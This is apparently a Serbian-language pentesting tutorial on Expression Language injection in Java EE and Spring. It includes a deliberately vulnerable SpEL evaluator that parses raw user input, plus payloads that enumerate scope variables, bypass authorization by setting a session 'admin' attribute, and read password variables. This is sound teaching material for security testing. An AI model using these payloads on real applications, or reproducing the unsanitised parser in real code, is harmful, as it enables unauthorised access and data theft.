<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**.

Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.

## Osnovne Informacije

Expression Language (EL) je integralan u JavaEE za povezivanje sloja prezentacije (npr. veb stranice) i aplikacione logike (npr. upravljanih beanova), omogućavajući njihovu interakciju. On se pretežno koristi u:

* **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa backend podacima/akcijama.
* **JavaServer Pages (JSP)**: Za pristup podacima i manipulaciju unutar JSP stranica.
* **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije sloja veba sa upravljanim beanovima.

**Konteksti Upotrebe**:

* **Spring Framework**: Primenjen u različitim modulima poput Security i Data.
* **Opšta Upotreba**: Kroz SpEL API od strane programera u jezicima zasnovanim na JVM-u poput Java, Kotlin i Scala.

EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznatljiv kroz ekstenzije fajlova `.jsp` ili `.jsf`, greške steka, i termine poput "Servlet" u zaglavljima. Međutim, njegove funkcije i korišćenje određenih karaktera mogu zavisiti od verzije.

{% hint style="info" %}
Zavisno o **EL verziji** neke **funkcionalnosti** mogu biti **uključene** ili **isključene** i obično neki **karakteri** mogu biti **zabranjeni**.
{% endhint %}

## Osnovni Primer

(Možete pronaći još jedan zanimljiv tutorijal o EL-u na [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))

Preuzmite sa [**Maven**](https://mvnrepository.com) repozitorijuma jar fajlove:

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

I kreirajte sledeći fajl `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Zatim kompajlirajte kod (ako nemate instaliran `javac`, instalirajte `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Izvršite aplikaciju sa:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Primetite kako je u prethodnom primeru termin `{5*5}` **procenjen**.

### Pregledanje okruženja

* `applicationScope` - globalne aplikacijske promenljive
* `requestScope` - promenljive zahteva
* `initParam` - promenljive inicijalizacije aplikacije
* `sessionScope` - promenljive sesije
* `param.X` - vrednost parametra gde je X ime HTTP parametra

Potrebno je da konvertujete ove promenljive u String kao:
```bash
${sessionScope.toString()}
```
#### Primer zaobilaženja autorizacije
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Aplikacija takođe može koristiti prilagođene promenljive poput:
```bash
${user}
${password}
${employee.FirstName}
```
